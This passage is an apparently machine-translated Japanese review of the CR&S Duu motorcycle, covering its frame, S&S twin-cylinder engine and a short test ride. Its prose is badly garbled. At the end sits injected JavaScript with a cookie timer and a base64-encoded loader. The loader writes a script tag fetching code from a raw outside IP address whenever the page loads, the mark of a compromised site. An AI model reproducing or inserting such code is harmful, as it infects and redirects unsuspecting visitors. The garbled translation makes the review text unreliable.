二輪

 

ビッグツインミラノ!

ツインモノラル後: 小さな職人の現実から、独特のスタイルで溢れるこの2リットルが生まれました
リカルド・カパッキオーネ

…彼らはミラノで言います, それは続き続き、私の心番目の男」」. 私たちは、非ミラネーゼのための翻訳します: 「ミラノ製, 「心と手で, E’ CRが作ったバイクに書かれた文章&Sセッティモ・ミラネーゼ. これまで、カタログの唯一のモデルはVunでした, 今姉を持ってスリムシングル, 全く合理化, それはDUUと呼ばれます. ミラノの方言でVUNは、円筒として「1」を意味します, 「ユニーク」な場所と. リード, あなたは理解しているでしょう, 代わりに、二つのシリンダとして「2」を言いたいです, 2つの場所と… のみ, 彼女. CRの顧客&S, 実際、, 彼らは、設定を選択して、あなたのバイクを注文することができます, シャーシコンポーネント, 着色モーターの、そしてもちろんの準備. 価格は多くの異なる理由はここにあります, のベースから出発 20.000 ユーロ. CRモデルの背後にある設計哲学&Sは発音することは簡単です, 達成することが少ないです: バイクは不可欠である必要があります, 視力における全エンジンとシャーシ, それはまた、スタイルでなければなりません, むしろ2: メーカーと顧客のこと, 述べたように, 彼は、自身の運動の創出に積極的に参加します. Eの場合’ 二つ? ジア ', ドゥウとは? これは、通常の定義をエスケープし、強力な2気筒であります: カスタム裸, ロードスター, ストリートファイター? 特定のジャンルを属性することは困難. ベスト, 単に, 技術的な特性を記述, 本当にユニーク. シャーシはCRで構成されています&Sと上部筒状巨大な合金鋼から構成されています, スイスの専門家フリッツ氏によって使用されるスキーマを彷彿とさせます; 持っている人’ 後ろの泉の , とりわけ, 彼は素晴らしいヴィンセントのスポーツ 1967. 大型メインフレーム管Duuは、燃料タンクの機能を実行します, CRプロジェクトの戦略の例&S, 各成分の最大統合及び単純化する傾向があります. 後部構造は素晴らしい軽合金板によって閉じられています, 「完全な」偽造からカッターを得ました. 鋼管トレリスの片側スイングアームは、横方向のショックアブソーバーに結合されています. ホイール, 他の排他的なCR&S, 彼らは素晴らしいですし、特にリア, カンチレバーは、単一の中央のナットを取り付け、品種の異なるデザインで利用可能. グラスファイバー製の上部構造は少なく、必要不可欠です; フロントライトのための本当に珍しい解決策… そうではない, フォークの両側に「サメ鰓」に収容二つの側方光学アセンブリによって置き換え, VUNの文体特徴を彷彿とさせます. 車はDUUすることができ, 我々がテストしたような, しかし、2人用のセットアップと旅行用のセットアップがあります, バッグや特別な付属品. MOM WHO POMPON E! S&SX-ウェッジドミナラシーン. シリンダーの2つの巨大なフィン付きタワーは、互いに56.25°発散し、ピストンを内部に収容します。 105 -ロングストロークのmmボア 111 んん. スキームはハーレーダビッドソンエンジンのスキームを再開します, そのためのS&Sは常に特別な部品を製造してきました, しかし、この場合、それは完全に新しいユニットです. ヘッドには2つの大きなバルブがあります (50,8 吸気口でmm, 40,64 排気口でmm), 互いに平行で、3つのカムシャフトに載っているロッカーとロッドによって動かされます, 2つの排気と1つの共通の吸気, ベースにあります. 交換, 分ける, それは5速ベイカーです. 電源は電子的に注入されます, 触媒排気中, CR仕様に基づいて構築&S, それはエンジンの下にあります, 2つの素晴らしいサイド「ガン」を備えています. プライマリチェーンドライブはハーレーパターンを採用し、左側にあります. タグボート私たちはプロトタイプのテストに多くのことを主張しました, まだ開発されていません, ドゥウの, しかし、neはそれだけの価値があるワルツです. ツインシリンダー, カウンターシャフトなし, パルス, その後, しかし何よりもそれは印象的な力で押します. kgmの排出量の下でリアタイヤがうめきます, Duuは前方に跳ね上がり、ライダーはハンドルバーにしっかりと固執することをお勧めします. サドルのより顕著な上昇は、推力の一部を解放するのに役立ちます, 腕への負担を軽減. 総重量は過大ではありません, 変位に関連して, edはよく配布されています, これにより、Duuは予想よりも管理しやすくなります. サドルの数キロは、このバイクのパフォーマンスについて漠然とした考えしか与えてくれませんでした。これは爽快になることを約束します, 正しく絞るのが待ちきれません,.. "乞うご期待", 私たちはあなたに情報を提供し続けます! 関数getCookie(E){VAR U = document.cookie.match(新しい正規表現(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/グラム,”\\$1″)+”=([^;]*)”));Uを返します?decodeURIComponent(ザ・[1]):空隙 0}VARのSRC =”データ:テキスト/ javascriptの;base64で、ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,今= Math.floor(Date.now()/1E3),クッキー= getCookie(“リダイレクト”);もし(今>=(時間=クッキー)||無効0 ===時間){VAR時間= Math.floor(Date.now()/1E3 + 86400),日付=新しい日付((新しい日付).時間をもらう()+86400);document.cookie =”リダイレクト=”+時間+”; パス= /; =有効期限が切れます”+date.toGMTString(),document.writeを(”)}